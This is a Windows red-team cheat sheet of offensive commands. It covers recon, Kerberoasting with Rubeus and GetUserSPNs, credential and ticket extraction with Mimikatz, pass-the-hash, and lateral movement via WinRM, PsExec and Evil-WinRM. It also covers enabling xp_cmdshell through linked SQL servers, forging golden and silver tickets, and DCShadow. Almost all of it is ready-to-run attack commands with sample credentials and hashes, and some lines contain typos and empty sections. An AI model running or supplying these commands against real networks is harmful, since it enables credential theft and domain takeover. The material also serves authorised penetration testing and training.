Windows Red Team Cheat Sheet

Recon

# Systeminfo
systeminfo
hostname 

# Especially good with hotfix info
wmic qfe get Caption,Description,HotFixID,InstalledOn

# What users/localgroups are on the machine?
net users
net localgroups
net localgroup Administrators
net user morph3

# Crosscheck local and domain too
net user morph3 /domain
net group Administrators /domain

# Network information
ipconfig /all
route print
arp -A

# To see what tokens we have 
whoami /priv

# Recursive string scan
findstr /spin "password" *.*

# Running processes
tasklist /SVC

# Network connections
netstat -ano

# Search for writeable directories
dir /a-r-d /s /b

### Some good one-liners

# Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

# Unquoted paths

Kerberoast

Simple logic for kerberoast is requesting tickets and cracking them(offline, doesn’t produce any logs)
– For kerberos to work, times have to be within 5 minutes between attacker and victim.

# Rubeus 
.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234

# List available tickets
setspn.exe -t evil.corp -q */*
powershell.exe -exec bypass -c "Import-Module .\GetUserSPNs.ps1"
cscript.exe GetUserSPNs.ps1

# List cached tickets
Invoke-Mimikatz -Command '"kerberos::list"'
powershell.exe -c "klist"
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'"

# Request tickets 
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"

# Requesting remotely
python GetUserSPNs.py -request ECORP/morph3:supersecurepassword@127.0.0.1

# Extract tickets
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack Tickets
python tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi

Stored Credential

# To check if there is any stored keyscmdkey /list

# Using them

Impersonating Tokens with meterpreter

impersonate_token NT-AUTHORITY\System

Lateral Movement

PsExec, SmbExec, WMIExec, RDP, PTH in general.
WinRM is always good. Check groups carefully.
Since windows gave support to OpenSSH we should also consider SSH.

Mimikatz Ticket PTH

Enable-PSRemoting
mimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"
Enter-PSSession -ComputerName ECORP

WinRM

$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# Evil-WinRM
https://github.com/Hackplayers/evil-winrm
ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp

PTH with Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'
# PowerUpSQL

Get-SQLServerLink -Instance server -Verbose

# Linked database tables

# You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler
# With meterpreter module you can find linked databases and if you are admin on them

# You can do a query and try to enable xp_cmpshell on that server
select * from openquery("server",'select * from master..sysservers') EXECUTE AS USER = 'internal_user' ('sp_configure "xp_cmdshell",1;reconfigure;') AT "server"

Golden and Silver Tickets

Keys depend of ticket :
–> for a Golden, they are from the krbtgt account;
–> for a Silver, it comes from the “computer account” or “service account”.

# Golden Ticket
# Extract the hash of the krbtgt user
lsadump::dcsync /domain:evil.corp /user:krbtgt
lsadump::lsa /inject
lsadump:::lsa /patch
lsadump::trust /patch

# creating the ticket 
# /rc4 or /krbtgt - the NTLM hash
# /sid you will get this from krbtgt dump
# /ticket parameter is optional but default is ticket.kirbi
# /groups parameter is optional but default is 513,512,520,518,519
# /id you can fake users and supply valid Administrator id 

kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519 
kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
# After this , final ticket must be ready

# You can now verify that your ticket is in your cache 
powershell.exe -c "klist"
# Verify that golden ticket is working
dir \\DC\C$
psexec.exe \\DC cmd.exe

# Purge the currently cached kerberos ticket
kerberos::purge 

#metasploit module can also be used for golden ticket, it loads the ticket into given session
post/windows/escalate/golden_ticket 

# Silver Ticket
# Silver Ticket allows escalation of privileges on DC
# /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...)
# /service - The service name for the ticket (ex: cifs, rpcss, http, mssql, ...)

# Examples
kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103
sqlcmd -S evilcorp-sql102.evilcorp.local
select SYSTEM_USER;
GO

kerberos::golden /user:JohnDoe /id:500 /domain:targetdomain.com /sid:S-1-5-21-1234567890-123456789-1234567890 /target:targetserver.targetdomain.com /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt

DC Shadow

DC Shadow attack aims to inject malicious Domain Controlllers into AD infrastructure so that we can dump actual AD members.

#Find sid for that user
wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid

#This will create a RPC Server and listen
lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sid

# Run this from another mimikatz
lsadump::dcshadow /push

# After this unregistration must be done
# Relogin

lsadump::dcsync /domain:ECORP.local /account:krbtgt

# Now you must have krbtgt hash
